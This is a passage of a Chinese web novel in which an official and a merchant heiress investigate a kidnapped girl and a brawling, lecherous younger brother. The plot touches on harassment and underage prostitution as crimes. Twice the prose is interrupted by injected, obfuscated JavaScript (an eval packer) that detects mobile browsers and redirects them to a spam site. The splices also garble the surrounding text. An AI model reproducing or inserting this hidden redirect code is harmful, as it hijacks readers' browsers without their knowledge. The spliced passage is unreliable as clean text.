对面,站一面黑微须的老者,约莫五六十岁,一副真的在着急上火的样子,身后十来个家丁,俱是怒火冲头剑拔弩张。 再往里,大堂深处站一群二十岁上下的年轻人,其中有一个被人揪着的,面相与罗易有两分相似,头上包了一块纱布,脸上青了一块,衣裳也被人扯得零零落落。 被人揪着,还不停的骂骂咧咧,推推搡搡,生生坏了和罗易还有几分相似的好皮相。 揪着罗曏的那个公子,面黑、健壮,和贺老爷挺像,这穿衣打扮,一看就是父子。 “这里头出了事儿,贺爷给包了,不待客!快走快走!”一个贺家的家丁大大咧咧上前来驱赶韦祎三人。 “他是谁的爷?” 韦祎还在沉住气压抑着自己进了棋室就想查抄的工作习惯,神游物外没答话,云攸纾有些不知道该怎么回答这气势汹汹的恶仆。罗晏拔出扇子来,一敲家丁指着人的手指头,家丁立刻嗷嗷叫着,捂着手滚到一旁去了。 这下手可不算轻,看样子得断根骨头。 韦祎抬眼,少见罗晏展现出这一副上等人的混不吝。 “哎呦喂!罗少主!”那贺老爷正待喊人撵出去,先是听到了声,又定睛一看,瞬间收了怒容,殷勤迎上前来,拱手作揖。 “贺老爷,这是在做什么呢?”罗晏亦拱手回礼。 “这不,家里出事,让您见笑了。”贺老板见了罗晏,着实拘谨起来,“不知这两位贵客是?” “这位是平公子,这位是韦公子,都是我朋友。”罗晏介绍,“这位是贺老板。”双方见礼。 “听说了贺老板这儿出了些事情,我们正在东海,因此特来看看,有什么能帮上贺老板的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正轮到了罗曏做东,大家一致决定,上午先在棋室玩两把,开个好运。中午就去隔壁的酒楼尽兴地喝上一场,已约老板备了好酒。下午若有兴致,便去后头的武馆看角斗,到了晚上,自然去妓馆快活。 “还要去看角斗?” “是啊!这位韦公子也喜欢看角斗?”后面那群纨绔听韦祎发问,也不管现下的情形,上前来搭话,“韦公子说的是咱们大齐国的官话,想必是京城人氏,早听说京城的角斗馆是一绝,其实我们东海的角斗也不差,好武馆里不仅环境好、服务好,角斗士的资源更是不少,有北燕鞑子,有南方的蛮人,只要出价,更稀奇的赤发胡人、昆仑奴、东瀛武士都能弄来!若是韦公子感兴趣,不如和我们同去?” 听这位纨绔说,京城的角斗馆是东齐一绝,实在让韦祎觉得面上发热,城防军协管京城治安,还让京城的违法角斗出了名,值得羞愧一番。 不过,追着韦祎请他去武馆一起赌角斗的那位纨绔,可能真没发现,这位韦公子确实和京城角斗馆有关系,只不过是专门查封抓人的关系。 另一个纨绔也上前来插话,把着韦祎的手臂,套近乎。 “现在出了这事儿,真是扫兴,今晚咱们订的窑子,本是交了好运的!我听人说,今个儿有一批新送来的小妞儿,清一色十三岁,水葱似的,韦公子若是有兴趣,今晚同去,落红开运啊!” 落红开运你个大头鬼!又犯一条!韦祎头痛,自打他选入军中,真是从来没人拉着他的手臂亲热地表白罪行。 大齐国律法规定:无论何种缘由,未及笄女子不得为妓。妓馆犯此条,每人每次罚妓馆一百两白银,客人明知女子未及笄而嫖宿,每人每次当街责十杖。有官员或官员直系子弟犯,记官员德行大过,杖责二十。 这条律法订立以来,各州府拐卖幼女的案件,确实是变少了。不过,经过最近十年的统计,朝廷也发现了,拐卖幼童的数额升上去了! 正开会,要再更正法条呢。 三表姐夫和这类案件有些联系,强行拉着韦祎一起去参加会议,到韦祎离开京城前,会议的进程仍然停留在各部门互相攻讦、推卸责任这一重要步骤上。 大概是因为看韦祎来自京城,这群东海郡的纨绔们刻意结交,异常热络。 “承……承蒙盛情,在下就不与诸位公子同去了。”韦祎假笑推脱。这群人消遣的一天,就没几件合法的事。 “什么是角斗啊?”云攸纾小声对着韦祎发问。 47. 顼姑娘 没等韦祎回答他,刚才那位热心纨绔就接上了话:“这位小公子也有十六七岁了吧,是不是家里管得严,还没去过这些消遣的好去处啊?既然都出来了,这些地方是一定要去的,要不就今天下午一起?你佩了宝剑,一定也是好武之人!今天上场的是昆仑奴,可遇不可求啊!” 那位讲角斗的纨绔对逛妓院没什么大兴趣,似乎只对角斗感兴趣,又把话题拉回来。 “明三公子,都这个时候了,大家还未能脱开干系呢,你就张罗着去玩,不太合适吧。”罗易这会儿也不装着急了,听明三公子说得过分,微笑出言阻止。 “嗐,罗姐姐,我怎么会没有脱开干系呢,是谁也不会是我啊,我爹是法曹,我若是干这些知法犯法、拐骗女子的事情,不用人来抓我,我就要被我爹爹打断腿了!”明三公子似乎和罗易很熟悉,立刻怂了,陪笑解释。 热心角斗的这位还是官家子弟。 官家子弟去赌棋赌角斗逛妓院宿幼女,拍胸脯称自己没有知法犯法,让人不知道该说些什么好。 罗易看见韦祎此时表情复杂,接口继续与明三公子说笑,“若是我见到了明法曹,向他提一句他的宝贝儿子在武馆赌角斗大赢了好几场,意气风发,实在令姐姐我心生羡慕,猜猜你的腿会不会是好的?” “求你了罗姐姐,你就是我亲姐姐,可千万不要告诉我爹,若是我爹知道了,您就再也见不到我了,您就心疼心疼小弟吧!”明三公子连连作揖求饶。 罗易就只逗他,直到贺老爷面露不满,才不闹了,毕竟是贺家丢了女儿。 众纨绔到了棋室,这是熟悉的地方,与老板也认识,早给他们伺候舒服。进了门,便打发随从们各自散去,不要凑在跟前,自去附近,或喝茶或划拳或打盹儿。 正抱怨着为何主角贺颂公子还没到,外头马车响,看来是到了,一群青年迎出门去,刚想调笑贺颂半年不见,竟然娇弱了,坐这么一辆娘们兮兮的花马车! 却见贺颂并不在马车里,他骑着马,走在马车前头。 面面相觑,“这是怎么回事?去个棋室而已,莫不是贺老爷、贺老夫人跟来了?”正议论,贺颂跳下马,亲自掀开马车帘子,伸出胳膊让马车内的人扶着,只见一幅满绣石榴裙,下面一双描金双蝶红蕊鞋,踩着马凳,跳下马车来。 “这是谁啊?” “是不是贺兄的夫人?” “不是不是,他夫人是我堂姐!”有一纨绔挤到前面去,分外关心。 “哎呦,那可恭喜你堂姐,这位说不定是贺兄的新欢美娇娘,你堂姐要有好姐妹了!” “闭上你的臭嘴,我堂姐还未生长子,谅他贺颂不敢在外面和女人有瓜葛!” “说不定就是因为你堂姐成婚两年,贺兄还没有后,才找了美娇娘生养呢!” “滚蛋!你才无后呢,谁再说我堂姐,谁生儿子缺宝贝!” “好了好了,大家确实说笑过分了,你也别往心里去嘛!”终于有人出来打圆场。 贺颂扶着那位姑娘,走到近前来。 “半年不见,你们满口胡柴的本事长了不少啊?”贺颂半笑半怒,“这是我亲妹子!顼儿!都忘了?小时候和咱们一起玩呢!去年我家唱戏,是哪几个人在后院见到顼儿没脸没皮的搭话?” “哎呀呀!是顼儿妹妹啊!”众纨绔醒悟,纷纷重新整理出一番翩翩君子相来,上前长揖,文绉绉说出一些见礼的话。 贺顼羞答答地,脸色通红,勉强一一福身回礼问好。 虽说她爹爹和哥哥都是面黑敦实之人,她确不同,唇红齿白,弯月眉桃花眼,珠圆玉润,是美女。 又因为上半年在北方边境,被风沙日晒磨砺,皮肤显出些小麦色,更觉得与寻常美女不同。 “好了好了!都别在这装相!闷了大半年,我带顼儿出来散散心,今天都给我管住嘴,谁也别说混账话。” 众人互相递眼色,连声应是。 贺颂的妹妹,今年有十七了,看梳头发的样式可知,尚未许配人家。 依照贺家的门楣,书香门第的公子哥儿瞧不上贺氏姑娘。 东海的望族不是特别多,此时在这的一伙人虽然纨绔,却算是找夫婿的最佳选择圈了。 看这架势,应当是顼儿姑娘想要亲自再见一见这伙人。 众人都识趣了,收敛斯文起来。 平时下棋,歪着的、倒着的、蹲着的都有,今天全都换成挺着后背在垫子上正坐!腿都要跪麻了!但偏偏有那不识时务的混世魔王。 趁着贺颂正想棋怎么走,恶劣之徒凑到姑娘近前去,压低了声音,“顼儿,今天非要跑到这男人堆里来,是不是因为对你曏□□夜思念,非要见一面不可?何苦来呢,给曏哥哥递个帖子,今晚哥哥我就跳进你闺房小院里和你相见快活!” 众人都在此,贺顼不好大喊非礼,只得攥紧了拳头缩在袖子里,低着头不答话,偏身子躲罗曏躲得都快跌到椅子下面去了。 罗曏见贺顼姑娘没有叫,更是放肆,脸越贴越近,甚至想要伸出手来搭上贺顼的小手。 若是罗易或者罗晏当时在这,一定会大耳刮子把这位二少爷煽出棋室去,真是有辱门楣! 不对,罗晏应该不会当面发火,夜里潜入东宅,悄悄废了这二傻子,让他从此瘫痪在床,比在外头丢人现眼好太多了。 可惜他们当时都不在。 贺顼都要吓得晕厥过去了!罗曏撅起了嘴,有机会一亲芳泽,当着这么多人的面占了贺顼,贺家就只能求着自己去提亲了,大美事儿! 闭着眼头往前一伸,依照罗曏的经验,他绝对没有亲到女人。 嘴唇上这触感,是男人的手掌,这男人还有练武,一手剑茧子! “呸呸呸!”罗曏迅速抽身,吐了好几口,“谁啊?坏了爷的好事!” 出现在贺顼身旁的那人掏出帕子来使劲擦手,一边擦一边说:“罗二少爷,这不好吧?” “明老三?怎么着,你想多管闲事?” 罗曏和明三公子站起身对峙,趁此时,贺顼拉着哥哥说一句:“我回马车等你。”起身掩面小跑离去。 贺颂怒火中烧,自打前几年在家里摆戏台时,罗曏见过妹妹贺顼,便死皮赖脸的缠上去,瞧上了姑娘家,不请媒人来提亲,而是上前骚扰,说些下流话。 今天想到罗曏在场,本不想带妹妹出来,妹妹求他,说要在爹给说亲事之前好歹见一见,都有些什么模样的人,勉强好过毫不认识就嫁人。 心中不忍,才带了出来。 自己一个没注意,这罗曏立刻贴上来! 吼一声叫外面等着的佣人照顾好贺顼,揪着罗曏便挥拳头。 罗曏也会一些武艺,一闪身躲过去,站在两步开外,嘿嘿一笑,嘴里还不停:“哪个姑娘家会自己跑到棋馆来,想男人才来的,来了怎么不肯给人玩呢?” 贺颂阴沉道:“若说哪个姑娘最爱抛头露面,全沥州都要看你的亲姐姐!怪不得你这个当弟弟的如此窝囊,身为长子,连家业都继承不了。” “我早晚能惩治了那个不知廉耻的疯婆娘,把顼儿娶到我家来,当妾室!等我玩够了,再从角斗馆买来几个昆仑奴,用疯婆娘和你妹妹犒赏他们一番,好给小爷多赢几个钱哩!对了,你这么紧张你妹妹,是不是亲兄妹间有一段不为人知的缠绵情谊啊?” 贺颂牙根痒痒,提拳头便打。罗曏从腰间抽出一把小刀来,弓身迎上。 “哎?慢着。”明三公子刚才被晾在一旁,没插上话,见他俩要打起来,上前一步,一只手捏住贺颂的拳头,一只手打掉罗曏的小刀,“听我一言。” 在场诸位,属明三公子最好武术,没人打得过他,于是俱不挣扎,“看在明大人的面子上,有屁快放。” “首先,罗二公子对贺顼姑娘言语不敬,自然是大错特错。不过,贺公子又岂可诽谤罗老板呢,众所周知,罗老板是咱们沥州的女豪杰,太守大人见了她都要降阶相迎,她有如此成就,是给你们这些行商之人长脸啊,怎能用抛头露面四个字贬低?还有,罗二公子就更不该对罗老板不敬,大家都知道,你们东海罗氏是因为你才落难,今天你能穿绸缎、喝好酒,全是因为罗老板苦心经营,她也是你的亲姐姐,怎可言语辱骂 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明三公子见朱愈的时候,朱愈教他的,终于派上了用场,暗爽。 “你们怎么不说话?难不成全都觉得那疯婆娘有理不成?”罗曏向众人寻求声援。 众人面面相觑而不答。 怎么说,罗易是东海罗氏生意的大老板,是和家中父母高堂平辈交往的人,罗曏能混进纨绔圈子里,还看罗易的面子呢,怎可能声援他? 见没人支持,又一定打不过明三和贺颂,事态不妙,罗曏可不想又挨打一顿,踩上鞋子便冲到外堂去,跑了! 贺颂便要去追他,纨绔们一起劝住,两人互殴,大家都会被家长揪回去骂一顿。 坐下半响,吃了碗凉茶散火气,贺颂猛然想起妹妹贺顼还在外头的马车上,心中隐隐觉得要出事,便冲去棋室的后院看。 见马车还在,想松一口气,却见马车周围没一个佣人,心又提了起来,走过去喊两声也不见人答,掀开帘子看,里头根本没人! 大喝了好几声,车夫、丫鬟、家丁们才从周围匆匆忙忙站到马车前,贺颂先是一个窝心脚把最后才到的家丁踹倒在地,才问:“都死到哪里去了?怎么不伺候小姐!” 一丫鬟委屈道:“小姐上了马车,便赶我们散去,不准在她眼前,小人们不得已才走开的。” “小姐不见了!还不快去找!” 众佣人赶忙去找,其他纨绔也叫来随从帮着找人。 贺顼没找到,倒是把正在回家路上骂骂咧咧的罗曏给揪了回来。 早有贺家的佣人见事情不妙,跑回家给贺老爷报信,贺老爷一边赶来棋室,一边让人去请罗易。 就变成了韦祎、罗晏、云攸纾三人看到的情景。 罗易到此,没有认下这是罗曏干的事情,只是派人帮着找贺小姐。 听了众人七嘴八舌讲完今天上午发生的事情,不管贺顼是不是罗曏掳走的,罗易、罗晏二人都觉得实在是丢人,韦祎和云攸纾也连带着觉得丢人,于是四人不约而同的向外挪,离罗曏越远越好。 其实他们挪动的很显眼。 一群人一起挪动,不管怎样都很显眼。 而且可以看出,他们四个、以及罗易的随从们,充满了嫌弃的表情。 那群纨绔里已经有人憋不住笑出声来了。 罗曏本就面色不善,听见有人笑出声来刺激到他了,觉得都是罗易害他丢脸,不管三七二十一,大骂着向罗易冲过来。 有坏人冲过来! 因为工作原因,进了棋室的韦祎条件反射变快,意识到有人向自己冲过来,身体比大脑先反应,一小股内力汇于掌心,在腰侧的佩剑剑鞘上一拍。 因为右手一般空着发暗器用,平时他都是这么拍军中的佩刀来着,这样单手就能拔刀出来。 这一柄不知名的新佩剑很给面子,嗡地一声倒飞出鞘,空中转一个小圈,剑柄正落在韦祎摊开的左手中。 握住剑,剑尖不偏不倚,刚刚好抵在罗曏喉头。 48. 父不父 除了罗晏之外,众人皆感到一股凉意渗进周身,像是自己喉头也抵着一把剑一样! 杀气这种玄妙的东西,韦祎一直觉得自己没有。 但是和寻常人相比,真正在战场上拼杀过、身负上乘武功的将军,杀气十足。 “我该怎么办。”韦祎一边保持着面无表情盯着罗曏的高手范儿,一边嘴唇嗡动,束音成线向罗晏求救。 “咳呵。”罗晏喉咙里传出一段憋笑声,一时不能说话,开口必笑场。 所以他拍了拍罗易的胳膊,示意她去缓解尴尬。 罗易不动弹,怎么缓解?这里面关系最尴尬的就是她了,想让她说什么啊?况且,她很乐见罗曏被剑抵着脖子。 若是出门戴了斗笠就好了,刚才出门前,回房间拿斗笠要戴上。 “怪闷的,别戴了。”秦琼说着,倒了一碟酒来,用布巾沾着酒擦脸,绿色就去掉了! “昨天怎么不告诉我?” “您没问我呀。”秦琼笑。 “韦公子!当真是好剑法!”明三公子在一旁,眼神灼热异常,连声赞叹,“好厉害的出鞘式,时机的把握都这么精确,真是好剑法!这把宝剑当真是好剑,真乃隙月斜明刮露寒!”情不自禁,凑近了细细端详,不去劝解,只夸赞不住。 罗易听见人夸剑法,也站出来称赞:“早听说韦公子为人正直、威武神勇,今日一见,果然如此啊,这柄乌木剑与韦公子,着实相配!” 被人夸,却一点也不觉得高兴,为什么要夸我?威武神勇何时与我有关系了?韦祎仍然冷着脸。 身不动,剑不动,盼着赶快有谁救场。 “你也是那婆娘的裙下臣?看来是没种,有种的,怎么不捅下去?”罗曏看过了许久,用剑指着他的这位韦公子没有进一步动作,于是打定主意,这位也是自家姐姐的面首,不敢把他怎么样,放下心,出言挑衅。 昨晚吃烤肉时,罗易问了要不要交往试试,自己拖着没答。于是,“裙下臣”这个问题需要仔细评估未来的种种可能性,暂时不能得出定论。 韦祎高人一般冷冽答曰:“目前不是。”又回答第二个问题,“此案未明,杀你,不利于查清真相。” “诸位诸位,若是不介意,现在要揍他了。”罗晏朗声给众人提醒,提醒过后对韦祎做了一个请的手势,“子隽,劳驾。” “好吧。”正巧韦祎也想揍罗曏。 罗曏已经自行离开被剑指着的范围。韦祎改为反手握剑,自下而上弧形抛起,转个半圈,剑柄的尾部恰好打中罗曏的下巴。 发生碰撞之后,剑转完了后半圈,又自行插回了剑鞘。“罗二公子,对不住,没留意。” 罗曏捂着下巴缩成一团。 竟然成功了。 最初条件反射拍了剑鞘,本以为剑要掉在地上丢脸,却稳稳落在手心里。 收剑顺便打人这一招也很险,看似巧妙,能做到主要靠运气,从过往经验看,韦祎的成功率并不高。 “我决定留着这柄剑。”韦祎小声对罗易说。 “寻剑容易,趁手却难,既然合得来,自当珍惜。”说完话,罗易招呼人把下颌骨裂的罗曏弄出去包扎。 很快就有出去找贺顼的罗氏伙计来汇报。 “可有贺小姐的消息?” 利落作答:“回小姐,我们已经找了附近几条街的犄角旮旯,几个贼窝也去打了招呼,没有发现贺小姐的踪迹,我们是守着附近,还是再扩大搜索面?请您拿主意。” “去贼窝打招呼。”韦祎充满敬意地看向做汇报的伙计,竟然这么普普通通说出来了,像是说“去酒楼吃席”一样的语气,这位大哥不一般! “当然是扩大搜索!”贺颂急切地几步上前,站到了罗易和那伙计的面前去。 他冲的很猛,像是要撞过来一般,罗易条件反射地挺直了身体立定,一双杏眼瞪向他。罗晏及时伸了扇子,挡在罗易和贺颂之间。 对面的贺老爷喝道:“颂儿!不得无礼!罗老板是帮忙寻你妹妹,你怎如此莽撞?” “爹为何替她说话?顼儿一定是被罗曏那厮掳走的,她必须替我们找到!” “还不是因为你这逆子,把你妹妹带到这么一个不三不四的地方来!快给罗老板道歉!”骂了儿子,又向罗易说:“守着附近还是扩大搜索,不知这里面有什么分说?” “你来说。”罗易示意刚才做汇报的伙计来解释。 贺颂在一旁梗着脖子不觉得自己有错,不肯道歉。 “贺老板、贺大公子,我们查得再细,也不可能把这几条街的家家户户都看遍。守在附近,就是把人手集中在此,如果真是被拐、只要露出头来,我们必然知晓。若是再散开搜索范围,确实能再查访几条街,不过我们的人手就不够,不能守住附近的动静。” “这,这可如何是好啊?” 罗易真是不想热心肠了,再热心下去,就是往自己头上扣屎盆子,不是罗曏做的都变成是罗曏做的了,“贺老板,依我看,应该报官,让郡守府派遣官差发下寻人告示,才是正理。” “不行!若是官家发下寻人告示,岂不是全东海都知道顼儿曾被人劫走,害我妹妹清白!”贺颂第一个跳出来反对。 “是啊是啊,小女年纪已经不小了,眼见今年就要许配人家,若是闹大了,小女还怎么说亲啊?” “人命要紧,通情达理的人家绝不会以此来评判贺姑娘的。”罗易劝,同时暗骂贺家。 “莫以为哪个姑娘都像罗老板一般,不……不拘小节!”贺颂冲口而出,本来想说得更难听,说了一半,咬牙把不知廉耻改为了不拘小节。 “颂儿,不得无礼。”贺老爷走过来,“犬子实是年轻,不知敬畏,罗老板多包涵啊。”贺颂还待还口,被贺老爷狠狠瞪一眼,“退下候着!” “无妨无妨,贺大公子是夸我呢。”罗易冷笑。 贺老爷不好意思地陪笑两声,话锋一转,小声向罗易说:“说出来着实有些冒犯罗老板,只是,明眼人都能看出,小女出事,二公子的确脱不开干系,斗胆请去贵宅中探勘一番,若救回小女,你我二家就当此事没发生过。若不在,就当作是给二公子去去嫌疑,改日我贺家一定上门赔礼。” “原来贺老板还是最怀疑舍……二公子啊。”罗易不想称罗曏为舍弟,偏头与罗晏对个眼神,也压低了声音温言询问:“请贺老板详述缘由?” “这,这……”让当爹的亲自复述女儿被人轻薄,实令贺老爷语塞,“刚才犬子与明三公子已经讲过,是,二公子对小女一早便有意,今日一见,更是,更是心切……” “贺老板的意思是,二公子倾慕贵府贺顼小姐已久?”罗易仍旧微笑,不慌不忙,“不如我叫人把罗曏抬回来,叫他自己说一说他是否倾慕贺小姐。” 贺老爷脸色差了不少,他本想着,罗易再狠心,也不可能真的当众揍自己的亲弟弟,若是真揍了,可以另作文章。 却不曾想,不认识的硬点子突然出现,稍一动手,先打断骨头,下颌骨包扎起来了,怎么可能说话? “不必不必!这只是你我二家的事情,何须在此大庭广众之中让人看笑话呢?” “你我二家?贺老板这话我听不懂。”罗易瞅见外头有伙计打手势,对贺老爷道:“想查探我家,也容易,只需我们一同去官府报案,若郡守认为我东海罗氏有嫌疑,我必敞开大门请官差进门查验。少主觉得如何?”又向罗晏问。 “你做主便好。”罗晏突然被问,很懵,随意答。 “诸位,我生意上有些事情,失陪片刻。” 不再做理会,罗易向外走,示意罗晏和韦祎跟上。当然,云攸纾像是被拎小鸡一样,被韦祎一起拉出去。罗易的属下留下,盯着棋室中的诸位。 “如何了?” 殷涿站在附近隐蔽处,见他们几个过来,微微欠身示意。 “二少爷少时曾有两个侍候笔墨的书童,小姐可记得?” “记得。老二出了事之后,他们两个怕被牵连,趁着老二和我爹在狱中的时候向我请辞,早早离去,我那时顾不上他们,没有答复,当夜你便告诉我,他们两个自己跑了。” “其中一个叫吴三,十年前与家人一起离开了东海,另一个叫陈志,本也离开了东海,三年前却又返回,去东宅求二少爷收留。二少爷和他重归于好,虽没有再让他入宅院,却每日一同厮混,是二少爷的心腹,如今就住在宅院后面的那条巷子里。” “此人可有异常?” “近些年我查到,二少爷套了一些银钱,用陈志的名义置了几间小宅子,平时用来养妓、养外室,可能是怕被人察觉,这些宅院之间都相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14413647|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔甚远。一共七间全是陈志管,现在有三间空着。贺顼小姐此时正在城北羊花巷的那一间里被关着,门口守着几个人,我们没有打草惊蛇。” “渔甫好本事!”罗晏赞叹,“速度比查案的官差强许多。” “运气罢了,只因平日留意二少爷多。” “对了,你们小时候就认识?”韦祎记得,刚才他们说了十年前如何如何。 “是,濯幼时父母早亡,投靠姑母。姑母是东宅老爷的一房妾室,因此从小在宅里做些杂活。后来姑母被东宅老夫人诬陷偷情,打死了,要把我也一并打死,幸好小姐相救,跟了小姐。” “我家的人都是混账。”罗易摊手。 “可见一斑。”韦祎听得往后一缩,妾室这个位置,在韦祎的世界里没存在过,爹肯定是没有,舅舅也没有,岳父也没有,表姐妹夫、妻兄弟都没有,把韦祎强行认作干儿子的罗晏父母也没有。 除了皇帝和姨母,横竖是相熟的亲戚都没有,不熟悉的亲戚朋友韦祎也不清楚。 “真有主君和大妇打死妾室之恶行?” “自然有。”殷涿不介意,笑答,“至少在下亲眼见证过。” “本朝指使佣人打杀人命,不用吃官司?” “子隽不是官吗?没见过把故意杀人狡辩作无意致死,交些钱财即可免罪?”罗易问,“不过,躲过了官,躲不过我,总有叫他们后悔的时候。” “啊?” “别管他了,他是月亮上来的。”罗晏发现此处出现了观念差异,立刻随便说几句,把话题转回正事。 罗易皱起眉,“老二做的?他何时有这样的脑子?” “至少不是亲自做的,最近事态紧,我派了人一直跟着二少爷。他出了棋室,站在街边骂了一会,就往回家的路上走,很快就被贺颂给拦住,揪回棋室。”殷涿说,“也许是二少爷授意陈志掳走贺小姐,或是陈志自作主张,讨好二少爷。” “方才贺颂那厮急着四处去找人,反而是贺老头不慌,只咬定老二有嫌疑,非要查我们家的宅子。” “不至于吧,怎可能当爹的有份拐骗女儿?”云攸纾插上了话。 “说不准,我素日里与贺老头打交道,此人颇为见利忘义,他爹为了来大齐做生意赚钱,抛弃了在燕国娶的妻,娶了东海姑娘,改做我们大齐人。后来回到边境开矿,又联系上了燕国同父异母的姐姐,从北燕雇佣廉价劳工。” “雇佣?是拐骗吧。”罗晏补刀。“那时我在贺氏的边境矿场做客,发现些许端倪,正好我要北上,又到了北燕境内顺便问了问。原来,拐骗边境农户为奴,他在官府榜上有名,同父异母的姐姐已经被监视起来了。” “几年前就被监视起来了?这么长时间,贺老头的煤铁生意都没受影响,可见劳动力还是充足,又没有提价格,能推定他雇人的成本也没有加,那便是一切照旧,还是在用拐骗来的燕国农户。”罗易说。 “盯上他又没抓他,大概率招安。” 听到此处,众人都在思索这次的事情是否与前些日子遇到的燕国间谍有关,云攸纾攥紧了寒铁剑的剑柄,怒道:“岂有此理!北燕这样做,难道是在用几百边境农户的命来收买一个间谍?” 韦祎给他解释:“这不稀奇。近几年情势紧张,国内都在忙着剪除燕国的势力,钉子难求。” “钉子难求?前些日子冒出来的那一船,就是燕国潜进来的呀!” “下等喽啰,随便装作什么都能混进来,来了齐国,造假的身份不能进公门,又不能注册地契,所以只在码头赌场这些地方混着,派不上用场。远不如贺老头这样有些地位,来往自如的大行商有用。” “先不讲这些了,如今的麻烦是贺顼小姐真在老二的宅子里关着,要劳烦堂哥这样飞来飞去的高人,把贺顼小姐给换出来。” “用什么换?”罗晏很有兴致,已经摸出了黑头套来。 “让默存找一个胆大的女孩,贺顼小姐身高六尺八寸上下,微有丰腴,这个体型的女孩很多,穿上差不多的衣裳换进去,把贺顼小姐接出来,放到别的地方去。” “你有什么好地方藏她?” “羊花巷北两条街,是驴儿巷,最深处的杂院里住着一伙人牙子。”殷涿早有答案。 “这么狠?真要卖她?”这次轮到韦祎惊诧。 49. 角斗士 “我爹娘我弟弟是混账,不代表我是混账。只是在那里放个半天,要找个别人把她救出来。”罗易很不满韦祎的推测,“贺顼姑娘有那样的爹已经够倒霉的,我还要卖她,那她也太惨了。” 罗晏已经要把黑头套戴上了。 “别急,找人装扮需要一点时间,现在我去问老二几句话,另外把贺老头打发了,你就这么忽然失去踪影,一定有人猜你暗中去使坏。” 不远处就有一间医馆,刚才被打断了手指头的贺家家丁和罗曏都在里头包扎呢。 “曏儿,我问你,是不是你劫了贺顼小姐?”罗易走过去,维持着三步远的安全距离,居高临下俯视着躺在医馆凉榻上的罗曏。 罗曏包了半张脸,绷带绕着整个脑袋在头顶上系了个大大的蝴蝶结,下巴动不了,没法说话。 拿纸笔摆在他面前。罗曏阴沉沉瞪了韦祎半响,忽然抓了笔,写下斗大的一行字:兔儿敢打本少爷,你给我等着,必让你生不如死。 “子隽别说打你了,就是杀了你,你也没办法动他。”罗易尖着手指头捏起那张纸,展示给站在后面的三个人看看。 又刷刷刷写了几行字:他就是你勾搭上的官爷?愿意与你这般恶妇苟且,定是子嗣无能、身患恶疾、猪油蒙了心! “我怎么就是恶妇了?”罗易心平气和地质疑弟弟。 云攸纾见罗曏写字骂罗易,正待怒时,韦祎拍拍他肩膀,把他给按下。 罗曏又埋头写:你不遵礼法、豢养面首、不知廉耻、抛头露面、全无妇人举止! “噢!怎么还是这一套。” 骗别人奋笔疾书的骂人,挺有意思。 都写了好多字了,罗易终于把问题绕回来,“是不是你劫走的贺小姐?你若喜欢她,告诉了爹娘,定会把她娶进门来,何苦劫她?” 罗曏:爷不仅劫她,还要了她,玩几年卖了! “如何劫走?” 罗曏:她那么大年纪了未嫁出去,自然是想男人,我招一招手她便跟来,用得着劫吗? 这傻缺好面子瞎说,罗易告诉他:“你要知道,你刚写的这几张纸,我拿去告官,能定你强抢民女之罪。” 大牢,罗曏坐过,绝不想再回去。大惊失色,指着罗易呜呜半响,想冲过去打她,又忌惮站在身后的罗晏和韦祎。 不灵光的脑子转了好一会儿,放下手指,把刚写的几张纸抓起来团一团捏在自己手里,四处找能烧的地方,此时才初秋,哪有火盆,四处寻半天也不见。 惶惶然如过街老鼠,罗晏插话:“子隽,他刚才说你子嗣无能!” 韦祎正想分辨自己有儿子,心念一转,虽然罗易看起来并不在乎别人骂她,但若让罗曏知晓罗易计划要给别人做续弦继室,他又多一条侮辱罗易的理由,于是改口:“我只知道,你要患恶疾了。” 举起剑指,问罗易:“可以废了他吗?” “喜闻乐见。”罗易谦谦有礼地欠身做了一个请的手势。 从师父那学来的秘法终于派上了用场,秘法点之,可使人半年不举,若此人没有内力,可不举一年以上,药石无用。罗曏最初还不觉得有事,用手去摸时,竟毫无知觉,可不得了! 这才怕了韦祎,不敢争辩,一手扶着下颌,一手捂着子嗣根子,夺门而出。 “真的好用?”罗晏不禁跟着感觉腿间生凉风。 “一试便知。”剑指未收。 “韦大将军息怒!” 一行四人回到了棋室与众人告别。贺颂与贺老爷,一个硬一个软,拦着不让走。罗易在那一群纨绔里扫了一圈,众纨绔早待得不耐烦,一群人软塌塌什么姿态都有,几乎没一个入眼的。 “明三公子,你来。” 刚才明三就神采奕奕盯着微显身手的韦祎,此时韦祎回来,更是挺直了身子盯得韦祎浑身发毛。 就这人尚且像点样子。 明三公子躬身凑到罗易面前,“罗姐姐可有用得着小弟的?” “我要招待你几天,你可愿意?” “不胜荣幸!” “贺老板,我知道您怀疑是我罗氏犯案,不敢放我离去,但我也不可能在此守着。若是贺顼小姐真的就此失踪,难不成要我替了贺小姐给您当女儿?” “罗老板言重了,我虽虚长三十余载,却绝不敢将罗老板视作子侄辈!只是看罗二公子实在举止有异,才斗胆怀疑,请罗老板体恤啊!” “他患心智不全之疾久矣,常常举止有异,口吐秽语,难为诸位公子要与他玩耍,莫非是在磨练耐性?”罗易随口给罗曏扣了个疯病,“贺老板、贺大公子,明三公子是州法曹之子,素日为人刚正,是侠义之辈,虽不能让贺老爷去我家搜查,我却要带他去我家住下,做个见证。” 贺老板眼神急转,缄默不言,反倒是贺颂想起,刚才罗曏欺侮妹妹,是明三站出来阻止,必不会与罗曏是一伙儿的,正待松口,他爹却急急出言:“刚才看明三公子对罗老板恭恭敬敬,让他来做见证,住到罗老板府上去,未免让别人议论您二人有私啊!” “哦?我与他的爹爹明法曹平辈相交,他明三见了我,竟然不该恭敬?非要如旁的少爷公子一般,把什么抛头露面、不拘小节这些词挂在嘴边?” 这才对了,不管绕多大的弯,不骂回去就不是罗易,韦祎终于等到她反击,靴子落地,悄悄舒了一口气。 自知被骂,贺氏父子噎了一瞬,罗易直接问明三公子:“若是你见我犯法,会包庇我吗?” 